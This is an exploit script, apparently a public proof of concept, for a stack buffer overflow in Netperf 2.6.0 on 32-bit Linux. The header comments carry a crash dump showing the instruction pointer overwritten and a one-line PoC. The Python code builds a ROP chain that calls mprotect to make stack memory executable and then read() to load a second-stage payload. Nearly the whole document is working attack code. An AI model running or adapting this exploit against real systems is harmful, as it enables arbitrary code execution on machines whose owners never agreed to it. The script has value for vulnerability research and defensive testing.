# Exploit Author: Juan Sacco <jsacco@exploitpack.com> - http://exploitpack.com
#
# Tested on: Kali i686 GNU/Linux
#
# Description: Netperf 2.6.0 s a benchmark tool than developed by
Hewlett Packard that can be used to measure the performance of many
different types of networking.
# It provides tests for both unidirectional troughput and end-to-end latency.
#
# Vendor: https://hewlettpackard.github.io/netperf/
#
# Program received signal SIGSEGV, Segmentation fault.
# 0x41424344 in ?? ()
# LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
#  EAX  0x6d
#  EBX  0x41414141 ('AAAA')
#  ECX  0x6f
#  EDX  0x430320 (test_name) 'TCP_STREAM'
#  EDI  0xb7ea2000 (_GLOBAL_OFFSET_TABLE_)
#  ESI  0xbfffd2c0 0x3
#  EBP  0x41414141 ('AAAA')
#  ESP  0xbfffd280 0x0
#  EIP  0x41424344 ('DCBA')
# Invalid address 0x41424344
# Program received signal SIGSEGV (fault address 0x41424344)
# PoC: run -a `python -c 'print "A"*8220+"DCBA"'`

from struct import pack

# int mprotect(void *addr, size_t len, int prot);
# define PROT_READ       0x1
# define PROT_WRITE      0x2
# define PROT_EXEC       0x4
#
# gef  p mprotect
# $1 = {<text variable, no debug info>} 0xb7dbdfd0 <mprotect>
# gef  p read
#{ssize_t (int, void *, size_t)} 0xb7db06b0 <__GI___libc_read>
#
# gef  ropgadget
#pop3ret = 0x402fea

offset = 8220
mprotect = 0xb7dbdfd0 # <mprotect>
read = 0xb7db06b0 # <read>
pop3ret = 0x402fea
target_memory = 0xb7fd4000 # r-xp [vdso]

rop_chain = 'A' * offset
rop_chain += pack('I', mprotect) # mprotect
rop_chain += pack('I', pop3ret) #  gadget
rop_chain += pack('I', 0xbffdf000) # arg - void*
rop_chain += pack('I', 0x100000) # arg size_t
rop_chain += pack('I',0x7) # arg int
rop_chain += pack('I', read)
rop_chain += pack('I', 0xbffdf000) # return stack
rop_chain += pack('I',0x00) # arg int fd
rop_chain += pack('I',0xbffdf000) # arg void
rop_chain += pack('I',0x200) # arg size_t

print rop_chain